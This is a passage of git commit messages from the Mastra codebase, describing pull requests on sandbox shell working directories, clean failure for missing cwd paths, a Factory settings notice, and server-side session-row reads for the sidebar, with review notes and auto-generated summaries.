| Independent repro: shell write, then host-`fs` read at the checkout
root through a real `LocalFactorySandbox` + `SandboxFilesystem` | ✅
Passed | written file readable at the filesystem root, absent at the
session root |
| New tests on base code | ✅ Catches the bug | factory regression: 3 of
4 fail on base `1fbc69aa` (`getCommandCwd is not a function`,
`FileNotFoundError: .artifacts/plans/test.md`, `cat: … No such file or
directory`), all 4 pass on head |

The single red is `executeCommandTool data chunks > shell pipelines >
reports an upstream failure in a pipeline ending in tail`, which needs
`set -o pipefail`: the review host's `/bin/sh` is dash, which has no
such option, and the `(set -o pipefail) 2>/dev/null &&` guard already in
`reportUpstreamPipelineFailure` shows that loss is anticipated. It fails
identically on base `1fbc69aa`, and that test's workspace has no
filesystem, so `resolveDefaultCwd` returns `undefined` and the command
path is unchanged. Pre-existing portability gap in that test, unrelated
to this change.

### Follow-ups

1.
[`.changeset/shell-cwd-matches-workspace-root.md:2`](7f4c1613dc/.changeset/shell-cwd-matches-workspace-root.md (L2))
declares `patch` for both packages, but the change adds public surface
(optional `WorkspaceFilesystem.getCommandCwd`, new
`SandboxFilesystem.getCommandCwd`) and
`.mastracode/commands/changeset.md` maps added surface to `minor` ("New
features with backward-compatible changes"), as do the recent additive
changesets `easy-webs-sing`, `dirty-chairs-vanish` and
`async-instruction-file-lookups`. One line to change, and only before
merge, since the level ships with the PR.
2.
[`execute-command.ts:121`](7f4c1613dc/packages/core/src/workspace/tools/execute-command.ts (L121))
reads only the configured filesystem, so a `SandboxFilesystem` supplied
through a per-request filesystem resolver (rather than a static
instance) gets no default cwd. That is the right trade — the alternative
re-breaks the invariant
[`dynamic-sandbox.test.ts:258`](7f4c1613dc/packages/core/src/workspace/tools/__tests__/dynamic-sandbox.test.ts (L258))
pins, and no in-repo consumer builds one that way — but the changeset's
"third-party implementations keep the previous behaviour exactly" reads
as if the case cannot arise. One sentence would close it.
3.
[`execute-command.ts:405`](7f4c1613dc/packages/core/src/workspace/tools/execute-command.ts (L405))
tells the model commands run from "the workspace directory", which is
not true when the filesystem reports no root — the sandbox default still
applies there.

Adversarial check (why approved rather than sent back): the strongest
argument is the `patch` level on a change that adds public API — but the
correctness, safety and test coverage of the fix are what gate this, the
level is release metadata, the change is backward compatible in both
upgrade directions (the member is optional, nothing resolves a dynamic
filesystem, and an explicit absolute `cwd` still wins), and the
correction is one line that belongs in the change request for the pull
request review.

Fixes #30018

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

Shell commands now start in the same folder as the file tools. A plan
that a shell command writes can now be found by the plan card. Before
this change, the two tools used different folders, so the card could not
find the plan.

## Summary

This change sets the default working directory for `execute_command` to
the workspace filesystem root. The change applies only when the
configured workspace filesystem reports a root. The default applies to
foreground and background commands.

Behavior:

- A missing or `null` `cwd` uses the workspace command root, when that
root is an absolute path.
- A relative `cwd` resolves against that root.
- An explicit absolute `cwd` is used as given.
- If the filesystem reports no root, or the root is relative, the
sandbox keeps its previous default.
- Only the configured filesystem is checked. Resolver-provided
filesystems do not supply this default.

The PR adds an optional `getCommandCwd(): Promise<string | undefined>`
method to the `WorkspaceFilesystem` interface. `SandboxFilesystem`
implements it. The method returns the sandbox workspace root, or
`undefined` when the root is empty. A lazy root uses the existing
memoized `base()` flow.

## Changes by file

- `packages/core/src/workspace/filesystem/filesystem.ts`: Adds the
optional `getCommandCwd` method to `WorkspaceFilesystem`. Filesystems
with a host-path `basePath`, multiple roots, or no sandbox backing leave
it undefined.
- `packages/core/src/workspace/tools/execute-command.ts`: Reads the
default directory from `workspace.filesystem.getCommandCwd()`. Lookup
failures and non-absolute values fall back to the sandbox default. A
relative `cwd` joins to the resolved default. The resolved directory
applies to tracing and to both execution modes. The tool description
documents this behavior.
- `packages/core/src/workspace/tools/__tests__/execute-command.test.ts`:
Adds tests for the default, explicit absolute, relative, missing-root,
and background cases. Adds a test that a sandbox-only call does not
resolve a dynamic filesystem.
- `mastracode/sdk/src/agents/sandbox-filesystem.ts`: Adds
`getCommandCwd()` to `SandboxFilesystem`.
- `mastracode/sdk/src/agents/sandbox-filesystem.test.ts`: Adds tests for
eager roots, memoized lazy roots, and rejection on an empty lazy path.
- `mastracode/factory/src/sandbox/command-cwd.test.ts`: Adds tests for
the session sandbox layout. The sandbox root is the session directory
and the checkout sits one level below it. Shell and file-tool operations
read and write the same checkout-relative plan files.
- `mastracode/factory/src/integrations/github/sandbox.ts`: Updates clone
cleanup comments. The `sandboxWorkdir` directory remains because Factory
commands use it as their working directory.
- `.changeset/shell-cwd-matches-workspace-root.md`: Adds patch
changesets for `@mastra/core` and `@mastra/code-sdk`.

## Linked issue

Issue `#30018` reports that a plan written with a shell command and
submitted with a relative path does not load. The sandbox ran from the
session root, and the workspace filesystem ran from the repository
checkout. This change makes the shell default match the filesystem root.
That addresses the reported mismatch for filesystems that report a root.

The issue also suggests disabling **Approve & build** when a plan cannot
load. This PR does not implement that change. The issue also lists
options for multi-repository sessions where the shell stays at the
session root. This PR does not implement those options.

## Test results (author-reported, not verified here)

- `@mastra/code-sdk` `sandbox-filesystem.test.ts`: passed (72 tests).
- `@mastra/factory` `src/sandbox/command-cwd.test.ts`: passed (4 tests).
- Listed factory sandbox and GitHub integration suites: passed (949
passed, 6 skipped).
- Typecheck and lint/format: passed.
- One pre-existing failure is reported in `execute-command.test.ts` and
the workspace suite: `executeCommandTool data chunks > shell pipelines >
reports an upstream failure in a pipeline ending in tail`. The author
attributes it to `/bin/sh` being dash, and says it also fails on base
`1fbc69aa`. The affected workspace has no filesystem, so this change
does not apply to it.

Current CI status: not available.

## Open items

- The PR description flags a patch-versus-minor changeset question,
because the change adds public API.
- The tool description may overstate the cwd behavior when the
filesystem reports no root.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 11:35:00 -08:00
mastra-platform[bot]
600cb85329
fix(platform-workspace): fail cleanly when a command's cwd doesn't exist (#30260)
> Opened by @DSchau

## Summary

In Factory sessions, a command given a `cwd` that doesn't exist failed
with `Direct-exec transport failed … after 2 attempt(s)` instead of a
normal command error. The E2B envd, Railway sidecar, and private-network
transports all treat a nonexistent `cwd` as a broken connection, so the
command is retried and then reported as a transport failure. Agents pass
paths like `/repo` because the file tools treat absolute paths as
workspace-relative.

`PlatformSandbox` now `cd`s into the `cwd` inside the shell, for both
foreground commands and background processes:
- A relative `cwd` resolves under the working directory.
- An absolute `cwd` that doesn't exist falls back to the same path under
the working directory, matching the file tools.
- A directory that is truly missing, or can't be entered, fails as a
normal exit-1 command with `Working directory not found: <dir>`. There
is no retry, and the command never runs in the wrong directory.

Commands with no `cwd` running outside the checkout is a separate issue,
fixed by #30210.

## Test plan
- `command-in-cwd.test.ts` runs the generated scripts in real bash. It
covers relative and absolute paths, the fallback, missing directories,
quoting, and multi-line commands. It also covers a directory that can't
be entered; that case is skipped when running as root, because root can
enter it.
- `sandbox-processes.test.ts` checks that background processes resolve
`cwd` the same way.
- `sandbox.test.ts` checks that the Railway WebSocket, E2B, and
private-network paths send the wrapped command.
- 353 tests pass and `tsc` is clean.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a command runs in a folder that does not exist, the
command now stops with a clear error instead of failing in a confusing
way. Commands also start in the folder the user asked for.

## Summary

This pull request changes `@mastra/platform-workspace` so commands and
background processes run in the requested `cwd`.

### Changes

- **`workspaces/platform-workspace/src/sandbox.ts`**: Adds the exported
function `commandInCwd(command, cwd, workingDirectory): string`.
  - Relative `cwd` values resolve under the sandbox working directory.
- A nonexistent absolute `cwd` falls back to the same path under that
working directory.
  - The function prefixes the command with a shell directory check.
- If no candidate directory exists, or the directory cannot be entered,
the command exits with status 1 and prints `Working directory not found:
<dir>`.
- E2B process spawning and all command-execution transports use this
wrapper.
- `executeCommand` removes `cwd` from its options before forwarding
them. It keeps the existing environment merge and transport fallback
behavior.
- **`workspaces/platform-workspace/src/sandbox.test.ts`**: Updates
expectations for Railway WebSocket exec, E2B exec, and private-network
exec. These now expect the directory change in the command text, not a
per-command `cwd` field. The per-command `cwd` test expects `/workspace`
to resolve relative to the configured `/srv/app` working directory. The
runner's `cwd` stays `/srv/app`.
- **`workspaces/platform-workspace/src/command-in-cwd.test.ts`** (new,
+98 lines): Tests `commandInCwd` in Bash. Covers:
- Unchanged commands when `cwd` is absent or equals the working
directory.
  - Relative path resolution.
  - Existing absolute paths inside and outside the working directory.
  - Fallback for missing absolute paths.
  - Status and error text for missing directories.
  - Failure when an existing directory cannot be entered.
  - Quoting of paths with spaces and quotes.
  - Multiline commands.
- **`workspaces/platform-workspace/src/sandbox-processes.test.ts`**: The
test process runner forwards an optional `cwd` to child processes.
`makeSandbox` accepts a `workingDirectory` option. A new test checks
that `cwd: '/repo'` resolves under the working directory. It also checks
that a missing relative directory exits with code 1, empty stdout, and
an error containing the resolved path.
- **`.changeset/quiet-dirs-wander.md`** (new): Adds a patch changeset
for `@mastra/platform-workspace`.

### Not in this diff

- The objectives describe a default `execute_command` cwd change in
`@mastra/code-sdk`. The changed-file list does not include any
`mastracode` or SDK files. The commit history also reverts that default.
No SDK change is part of this diff.

### Verification

- The author reports 353 passing platform-workspace tests and clean
TypeScript checks. This summary does not verify these results.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 11:33:11 -08:00
mastra-platform[bot]
84ff1b6997
fix(factory-ui): show the Mastra Connect tools off state as a one-line info notice (#30242)
> Opened by @DSchau

## Summary
When a Factory doesn't give sessions Mastra Connect tools (e.g. it sets
a custom `tools` option, or is missing Platform credentials /
`MASTRA_PROJECT_ID`), the Settings → Tools section showed a bordered
settings row whose inline code snippets broke onto their own lines,
making the message hard to read.

This replaces it with a single-line info `Notice`:

> ℹ️ Mastra Connect tools are off: this Factory sets a custom `tools`
option or is missing Platform credentials or `MASTRA_PROJECT_ID`.

Loading, retry, empty, and connection-list states are unchanged.

## Test plan
- `vitest run --project msw:factory-ui ConnectToolsSection.msw.test.tsx`
(updated text assertion) — passes
- `tsc --noEmit -p src/ui/tsconfig.json` and oxlint — clean

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a Factory cannot use Mastra Connect tools, the Tools
settings page now shows one short info line instead of a larger bordered
box. The line says why the tools are off.

## Summary

This change updates the off state of the Mastra Connect tools section in
Settings → Tools. The change affects two files, with 9 lines added and
14 removed.

### Changes

- `ConnectToolsSection.tsx`:
- Imports `Notice` from `@mastra/playground-ui/components/Notice` and
renders it with `variant="info"` for the unavailable state.
  - The message says that Mastra Connect tools are off when the Factory:
    - sets a custom `tools` option, or
    - lacks Platform credentials or `MASTRA_PROJECT_ID`.
- The previous `SettingsContainer`/`SettingsRow` block is removed from
this state. That block also showed the section label. The off state no
longer shows that label.
  - The `SettingsRow` import is removed.
- `ConnectToolsSection.msw.test.tsx`:
- The test for a 404 `connect_tools_off` response now expects the text
"Mastra Connect tools are off".
- The 403 Platform-refusal test now checks that the new off-state
message is absent. Before, it checked that the old wording was absent.

### Scope

- The loading, retry, empty, and connection-list states are not changed.
- No exported or public declarations change.

### Validation

- The PR description reports that the updated MSW test passes, and that
`tsc --noEmit` and oxlint are clean. This review did not run these
checks.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 11:32:47 -08:00
Damien Schneider
558f07e331
feat(factory-ui): load the sidebar's sessions as rows instead of two whole lists (#30475)
**─────── TLDR ───────**
> The sidebar now asks the server for the rows it shows, instead of
downloading every session and every card holding one and working them
out in the browser.

Stacked on #30473, which added the two reads. Before, every Factory page
read the project's whole session list (3,951 sessions, 617 KB on a
production project), every card holding a session (1,120 cards, 564 KB)
and the runs in flight, then sorted, filtered, grouped and cut them to
about 20 rows. Now the sidebar reads `session-rows` for the rows it
lists and `session-activity` for what runs; both answer 304 when nothing
changed.

### Behavior changed

opening a Factory page
&nbsp;&nbsp;├─ **was** — read every session, every card holding one and
`/active-runs`
&nbsp;&nbsp;└─ **now** — reads `session-rows` for the view shown, and
`session-activity` once a repository is linked; Settings reads
`session-activity` only

Show more under a group
&nbsp;&nbsp;├─ **was** — revealed rows already in memory
&nbsp;&nbsp;└─ **now** — asks the server for that group deeper
(`window=<group>:<count>`), 20 more each time and 500 at most; Show less
goes back to 5

switching Group by
&nbsp;&nbsp;├─ **was** — regrouped in place
&nbsp;&nbsp;└─ **now** — the skeleton shows until the new groups arrive;
sort and filter changes keep the current rows meanwhile

switching factories
&nbsp;&nbsp;└─ **now** — the previous factory's rows never show while
the new ones load

a Show more, sort or filter read that fails
&nbsp;&nbsp;└─ **now** — the rows shown stay up beside Retry

board live dots, activity counts, parked flags and the done sound
&nbsp;&nbsp;├─ **was** — worked out from the whole session list and
`/active-runs`
&nbsp;&nbsp;└─ **now** — read from `session-activity`

related cards on a card page
&nbsp;&nbsp;├─ **was** — linked to a session found in the whole list
&nbsp;&nbsp;└─ **now** — one `GET /web/user-sessions/:id` per related
session, shared with the session page; a 404 links to the card instead

answering a waiting session from the sidebar or the transcript
&nbsp;&nbsp;├─ **was** — refreshed the cards the rows were worked out
from
&nbsp;&nbsp;└─ **now** — refreshes the rows and the activity at once

deleting or renaming a session
&nbsp;&nbsp;└─ **now** — its row changes at once, and a delete lowers
the group counts, without waiting for the next read

search palette
&nbsp;&nbsp;├─ **was** — searched the sessions the sidebar had already
loaded
&nbsp;&nbsp;└─ **now** — reads the sessions and their cards once when it
opens, and cancels that read when it closes

new session page
&nbsp;&nbsp;├─ **was** — read every card holding a session for its
counts and dates
&nbsp;&nbsp;└─ **now** — reads the starters and `session-activity` only

### Shape changed

| | | |
|---|---|---|
| **+** | `useSessionRowsQuery` · `useSessionActivityQuery` | the
sidebar's two reads, keyed by the view; the rows read returns the query
and the rows to show, the last ones of the same factory and grouping
standing in while it loads or fails |
| **+** | `sessionRowsRequest` · `fetchSessionRows` ·
`fetchSessionActivity` | the view turned into the query string |
| **+** | `invalidateSessionQueries` | one refresh for the session list,
the rows and the activity |
| **~** | `presentSessionRow` · `orderGroupHeadings` | present the
server's rows and order its groups; sorting, filtering and cutting are
gone |
| **−** | `useSessionListRows` · `useActiveRunResources` ·
`sessionWorkItems` · session comparators | replaced by the server's
answer |
| **+** | `sessionReadHandlers` | answers both reads in tests with the
server's own functions, from the lists a suite stubs |
| **~** | `SESSION_ROW_WINDOW` · `SESSION_ROW_WINDOW_MAX` ·
`SESSION_ROW_PINS_MAX` | moved out of the route contracts into a module
the browser imports: the sidebar's window and its clamps are the numbers
the server validates against |
| **~** | `useSidebarWorkItemsQuery` → `useSessionCardsQuery` | only the
search palette reads it now |
| **~** | `useUpdateWorkItemMutation` · `useTransitionWorkItemMutation`
· `useDeleteWorkItemMutation` · `useFactoryDecisionAction` | also reread
the rows, which carry the card's title, stage and decision |
| **~** | `Sidebar.NavShowMore` (`@mastra/playground-ui`) | takes a
`ref`, so Show more and Show less hand focus to each other without a DOM
query |

- `mastracode/factory-ui/src/`
  - └─ `hooks/useSessionRows.ts` — both reads
- └─ `ui/domains/workspaces/services/sessionRowReads.ts` — request and
fetch
- └─ `ui/domains/workspaces/services/sessionRows.ts` ·
`sessionGroups.ts` — rewritten around the server's rows
- └─ `ui/domains/workspaces/components/SessionsSection.tsx` ·
`SessionGroupList.tsx` — Show more asks the server
- `mastracode/factory-ui/e2e/ui/session-reads.ts` — the test stand-in
for both reads
- `mastracode/factory/src/session/session-row-limits.ts` — the window
and the request limits, out of `routes/contracts.ts`
-
`packages/playground-ui/src/ds/components/Sidebar/nav/sidebar-nav-show-more.tsx`
— the `ref`

### Decisions

- **group order, hidden groups and headings stay in the browser** — they
are per-user preferences stored locally; the server's groups are
reordered and hidden here.
- **earlier rows stay up only for the same factory and grouping** —
while the next read loads and when it fails; anything else shows the
skeleton, so another factory's rows or groups never flash.
- **card writes reread the rows instead of patching them** — the server
works out a row's status from its card, so patching it here would copy
that rule back into the browser; the move does not wait on the reread.
- **related cards read each session** — a handful of small reads the
session page shares, instead of the whole list for a link.
- **the search palette keeps its whole-list reads** — only while it is
open; moving it onto a search route is its own change.

### Watch

- the route loader cannot see whether the sidebar is collapsed, so with
child sessions shown it prefetches rows with children that a collapsed
sidebar then reads again without.
- Show more stops at 500 rows a group, the most the server lists; a
longer group's older sessions are found through search.
- each card move, edit, delete or decision answer costs one more
`session-rows` read.

### Gain

Each page load, measured in-process on 4,000 sessions and 1,200 cards;
the before sizes come from a production project:

| read | before | after |
|---|---|---|
| every session | 617 KB | not read |
| every card holding a session | 564 KB | not read |
| `session-rows`, default view | — | 5,337 B · 854 B gzipped |
| `session-activity` | — | 171 B · 124 B gzipped |
| either, nothing changed | — | 304, no body; the server still builds
the answer to compare it (#30473) |

### Not verified

- [x] a running local Factory over Postgres (29 sessions), board page
reloaded — no `/sessions`, `work-items?scope=sessions` or
`/active-runs`; `session-rows` and `session-activity` both answer 304
- [x] Show more and Group by by hand — Show 20 more read `window=all:25`
and listed 25 rows with Show 4 more and Show less; Show less went back
to 5 and handed focus to Show 20 more; Group by Status showed the
skeleton, then Idle and Done; a sort change kept the rows up
- [ ] factory switch by hand — the local database holds one factory, and
a second needs a real repository linked; covered by the MSW suite only
- [ ] the collapsed-sidebar prefetch above, measured

---

> ████████████████████ **tests** `+976 −850` — the sorting and grouping
tests left with the code they tested
> █████████████ **source** `+639 −920` — the browser's sorting, grouping
and run tracking are most of the deletions
> █████ **test helpers** `+229 −10` — the stand-in answering both reads
> █ **changeset** `+10`
> █ **design system** `+2 −2` — `Sidebar.NavShowMore` takes a ref


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The Factory sidebar used to download every session and every card,
then sort and filter them in the browser. Now it asks the server for
only the rows it shows, and it asks for run activity separately. When
nothing changed, the server can reply "not modified," so the sidebar
downloads less.

## Summary

This pull request changes how the Factory sidebar reads session data.
The sidebar now reads two server resources: `session-rows` for displayed
rows and `session-activity` for run activity. The earlier whole-list
reads of sessions, cards, and active runs are replaced in the sidebar.
The search palette keeps its whole-list reads while open. The author
reports that both new reads return 304 when unchanged.

### Data reads
- `sessionRowsQueryOptions` and `useSessionRowsQuery` read grouped
session rows. The request includes sort, group-by, owner, status,
updated-time filter, child visibility, pins, the open item, and
per-group windows.
- `sessionRowsRequest` builds the request. It omits `status` and
`updated` when they are `all`. It keeps only the last
`SESSION_ROW_PINS_MAX` pins. It caps each window at
`SESSION_ROW_WINDOW_MAX`.
- `fetchSessionRows` and `fetchSessionActivity` send these requests.
Both accept an optional abort signal.
- `sessionActivityQueryOptions` and `useSessionActivityQuery` read
running session IDs, parked session IDs, and card activity counts.
- `useSessionCardsQuery` replaces `useSidebarWorkItemsQuery` in board,
search, and related-card callers.
- `useSessionParked` and `useActiveRunResources` are removed. Their
callers read `useSessionActivityQuery`.
- Both queries use `skipToken` when the factory project ID is absent.
Both refetch on window focus. Both poll at `UNMATERIALIZED_POLL_MS`
while data is settling.

### Show more and show less
- `SessionsSection` sends per-group windows. "Show more" increases a
group's window by `SESSION_GROUP_INCREMENT`. The PR objectives state a
batch size of 20. "Show less" removes the group's override and returns
to the default of 5.
- The server caps each requested window at `SESSION_ROW_WINDOW_MAX`
(500).
- Window overrides reset when the factory, sort, group-by, filters, or
child visibility change.
- A follow-up fix clears Show more depth on those changes. Returning to
a factory therefore starts each group at its first sessions.
- `SessionGroupList` takes required `onShowMore` and `onShowLess`
callbacks. It renders `group.rows` directly.
- After a row-count change, focus moves to the remaining toggle.
- Tests cover switching factories to five rows per group, requesting the
`board:work:25` window, and keeping visible rows after a failed windowed
request until retry.

### Loading and failure behavior
- Sort and filter reads keep the current rows visible.
- Group changes show a skeleton while new rows load.
- The rows hook keeps its last result only when the project ID and
`groupBy` still match the current layout.
- A failed read keeps visible rows. Retry is offered.
- A test update makes the stubbed server persist renames and deletes.
The test then checks the rows after the pending read completes.

### Cache and invalidation
- `invalidateSessionQueries(queryClient, factoryId)` invalidates session
lists, session rows, and session activity. Workspace invalidation also
invalidates factories and controller threads.
- Mutations that previously invalidated the sessions query now call this
helper. This includes sandbox recreation, session visibility, session
ownership, approval answers, and run starts.
- `useFactoryDecisionAction` also invalidates session rows.
- Work-item updates, settled stage transitions, and successful deletions
invalidate session rows.
- `updateCachedSessionTitle` updates session-list, session-row, and
individual-session caches. It updates matching parent and child rows.
- `removeCachedSession` updates session-row caches. It removes the
session, adjusts group and response totals, and promotes a remaining
child when a parent row is removed. It cancels in-flight row reads.
- `userSessionQueryOptions` is exported and used by
`useUserSessionQuery`.
- Workspace and user-session delete mutations accept
`Pick<FactoryUserSession, 'sessionId'>`.

### Related cards and external links
- `RelatedCards` gets session IDs from `useLiveSessions`. That hook
deduplicates session IDs from related work items. It queries each one
with `userSessionQueryOptions`.
- A related card links to its session only when the lookup returns data.
A 404 makes the card link to its board. A 503 keeps the session link.
- Related-card session lookups now use individual `GET
/web/user-sessions/:id` requests.
- `cardLink` selects a card's URL. Slack cards use the derived Slack
thread URL. Other cards prefer the work-item URL and fall back to the
external-source URL.

### Shared contracts
- `mastracode/factory/src/session/session-row-query.ts` defines the
session-row constants and the owner schema. The constants are
`SESSION_ROW_WINDOW`, `SESSION_ROW_WINDOW_MAX`, `SESSION_ROW_PINS_MAX`,
`SESSION_ROW_WINDOWS_MAX`, `SESSION_ROW_STATUSES`, `SESSION_ROW_SORTS`,
`SESSION_ROW_GROUP_BYS`, `SESSION_ROW_UPDATED_WITHIN`,
`SESSION_ROW_ALL_OWNERS`, and `SESSION_ROW_MY_SESSIONS`.
- `sessionRowOwnerKey` and `sessionRowGroupKeys` are also defined there.
- `routes/contracts.ts` imports these values. It removes its local
copies. Its window, pin, and window-count limits now come from the
shared constants.
- `session-row-view.ts` uses the shared window constant and grouping-key
helpers.
- The author reports that this move keeps server modules out of the
browser bundle. The reported size reduction is not verified in the
supplied evidence.

### Presentation and grouping
- `presentSessionRow` builds a `SessionListRow` from `SessionRowWire`
data. It recursively presents child rows.
- `SessionListRow` now holds a `SessionRowSession` and an optional
`cardId`. It requires `updatedAt`.
- `sessionOwners` takes response owners and the viewer profile.
- `sessionGroupHeadings` takes a context with `catalog`, `boardIds`,
`owners`, and `viewerUserId`. It no longer takes session rows.
- `SessionGroup` has `total`, optional `openIndex`, and readonly `rows`.
- `sessionPullRequestTargets` lives in `sessionRows.ts`. It returns
targets only for rows with a thread ID and an unsettled pull request.
- `SessionPreviewDetails` takes a `cardId` and a `board`. It loads the
card by ID when `cardId` is set.
- The session-list empty state uses total and matching counts. Hidden
groups and zero-session cases have separate messages.

### Removed code
- Modules: `sessionWorkItems.ts`, `useActiveRunResources.ts`, and the
`sessionRows` test fixture.
- Hooks: `useSessionListRows`, `useSessionParked`, and
`useSidebarWorkItemsQuery`.
- Functions: `liveSessionCounts`, `groupSessionRows`,
`collapsedRowsKeepingActive`, `filterSessionRows`, `compareSessionRows`,
`allSessionRows`, `sessionWorkItemIndex`, `buildFactorySessionRow`,
`buildUserSessionRow`, `oneRowPerCard`, and `linkFollowedCards`.
- Constants: `SESSION_GROUP_BYS`, `COLLAPSED_GROUP_ROW_COUNT`, and
`SESSION_ACTIVITY_STATUSES`.
- Query key: `agentControllerActivity`.

### Route loaders
- Sidebar prefetch requests session rows. It builds the request from the
current list view, filters, pins, open item, and child visibility.
- Factory layout prefetch requests session activity. It no longer
fetches workspace data or active runs.
- Board prefetch also requests board decisions.
- The author reports that collapsed-sidebar prefetching may fetch rows
that the sidebar requests again. This was not measured.

### Public API changes
- Added exports: `readPinnedSessions`, `readSessionFilters`,
`readSessionListView`, `userSessionQueryOptions`,
`invalidateSessionQueries`, `UNMATERIALIZED_POLL_MS`, `cardLink`,
`SESSION_GROUP_INCREMENT`, and `sessionRowsRequest`.
- `Sidebar.NavShowMore` accepts a button ref. Its props derive from
`ComponentProps<'button'>`. A patch changeset documents this.

### Tests and mocks
- `session-reads.ts` adds MSW handlers for session rows and session
activity. They return 400 for invalid query parameters.
- The shared MSW server returns an empty `sessions` list by default.
- Tests cover row removal, title updates in nested rows, sidebar Show
more requests, and retry after failure.
- Tests for `useActiveRunResources` are deleted.
- The `GlobalSearch` tests treat search as the only session consumer.
They expect the request to abort on close.

### Verification
- The author reports a manual check of a 29-session local Factory. The
board made no `/sessions`, `work-items?scope=sessions`, or
`/active-runs` requests. Both new reads returned 304.
- The author reports manual checks of Show more, Show less, focus
handoff, Group by, and sorting.
- Factory switching was not checked manually. The local database had one
factory. The MSW suite covers it.
- Collapsed-sidebar prefetching was not measured.
- CI and test results for the current head are not available in the
supplied evidence.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 10:33:34 -08:00
Damien Schneider
5a231ae55c
feat(factory): answer the sidebar's session rows sorted, grouped and cut to what is listed (#30473)
**─────── TLDR ───────**
> The server can now answer the sidebar's session list as it is shown —
sorted, grouped and cut to the first rows of each group — instead of the
browser downloading every session and every card holding one.

Today the sidebar reads the project's whole session list and every card
holding a session, then sorts, filters, groups and cuts them in the
browser. On a production project that is 3,951 sessions (617 KB) and
1,120 cards (564 KB) to draw about 20 rows. These two reads do that work
on the server. Nothing calls them yet; the sidebar moves onto them in
the next PR.

### Behavior changed

`GET …/session-rows`
&nbsp;&nbsp;├─ **new** — one row per card for a card's sessions,
carrying the card, its pull or merge request and its status
&nbsp;&nbsp;├─ **new** — one row per session a person or Slack started
&nbsp;&nbsp;├─ **new** — `sort`, `groupBy`, `owner`, `status`, `updated`
applied on the server
&nbsp;&nbsp;├─ **new** — each group cut to its first 5 rows, with the
`total` it holds
&nbsp;&nbsp;└─ **new** — `total`, `matching`, the `boards` and `owners`
the menus offer, whatever the filters

the same read with `window=<group>:<count>`
&nbsp;&nbsp;└─ **new** — lists that group deeper, the others stay at 5

the same read with `open=<session id>`
&nbsp;&nbsp;└─ **new** — the open session stays listed however deep its
group holds it, with its `openIndex`

the same read with `pin=<session id>` (repeatable, 100 at most)
&nbsp;&nbsp;└─ **new** — pinned sessions come first in their group

the same read with `children=true`
&nbsp;&nbsp;└─ **new** — a card's other sessions are listed under its
row instead of folded into it

`GET …/session-activity`
&nbsp;&nbsp;└─ **new** — which sessions run, wait on a person or are
still coming up, and how many cards are worked on or waiting

either read sent again with `If-None-Match`
&nbsp;&nbsp;└─ **new** — 304 unless the answer changed

either read for another user's private session or run
&nbsp;&nbsp;└─ **new** — absent: a run under another user's resource
never marks a row working

`GET …/sessions` and a project's follow list
&nbsp;&nbsp;├─ **was** — every request read every row from the database
&nbsp;&nbsp;└─ **now** — kept in memory, read again only when a
count-and-newest probe says the list changed

`mastra api factory session rows|activity`
&nbsp;&nbsp;└─ **new** — both reads from the CLI

### Shape changed

| | | |
|---|---|---|
| **+** | `sessionRows(facts)` · `sessionRowsView(rows, view, userId,
now)` · `sessionActivity(facts)` | pure, so the browser's tests can run
them as the server |
| **+** | `ProbedList` · `probeNewest` | in-memory list, reread when
count or newest row moves |
| **+** | `projectSessions` reader | the sessions read `/sessions` and
both new routes share |
| **+** | `sendRevalidated` · `sendJson` | the board route's ETag and
gzip answer, now shared |
| **~** | `cardContextSessions` · `sessionRowStatus` · change-request
rules | moved from the browser to `@mastra/factory`; the browser imports
them |
| **~** | `isPullRequestCard` · `pullRequestSources` ·
`pullRequestSourceNumber` · `reviewedPullRequest` | moved from
`boards/semantics.ts` into `change-requests.ts`, so the file the browser
imports loads nothing else |

- `mastracode/factory/src/session/`
- └─ `session-rows.ts` — rows, status, card, pull request, child rows,
pins
- └─ `session-row-view.ts` — sort, filter, group, window, totals,
activity
  - └─ `session-row-status.ts` — moved here
- `mastracode/factory/src/work-items/`
  - └─ `card-context-sessions.ts` · `change-requests.ts` — moved here
- `mastracode/factory/src/storage/probed-list.ts`
- `mastracode/factory/src/routes/`
  - └─ `session-rows.ts` — both handlers
- └─ `project-sessions.ts` — extracted from `source-control-sessions.ts`
  - └─ `contracts.ts` — both contracts

what the next PR builds on
&nbsp;&nbsp;&nbsp;&nbsp;`GET …/session-rows` · `GET …/session-activity`

### Decisions

- **group order and hidden groups stay in the browser** — they are
per-user preferences stored locally; the server returns groups in the
order of their first row and the browser reorders and hides them.
- **pins travel in the URL** — pins live in the browser's storage; the
100 most recently pinned are sent.
- **the open session is part of the request** — so its group lists it
however deep it lies, without a second read.
- **probe, don't watch** — a count plus the newest row tells the server
whether to reread; held for 60 s at most, and a row written in the last
5 s always rereads, so a write racing the probe is never missed.
- **files the browser imports load nothing else** —
`boards/semantics.ts` reaches `@mastra/code-sdk/constants`, which reads
`process.env` at load and throws in a browser; Node tests never see it,
so the pull request source helpers live in `change-requests.ts` instead.

### Watch

- each project's session list is held in memory, 100 projects at most,
shared and frozen between callers.
- every read builds its whole answer before it can say 304: the probe,
the cards (held), the boards and the first 50 deferred decisions (read
each time), then the rows and their hash. A 304 saves the transfer, not
the server's work: about 23.7 ms per read at 4,000 sessions, once per
open tab on each feed refresh.

### Gain

Measured in-process on 4,000 sessions and 1,200 cards:

| read | body | gzipped | time |
|---|---|---|---|
| `session-rows`, default view | 5,337 B | 854 B | 23.7 ms |
| `session-activity` | 171 B | 124 B | 0.4 ms |
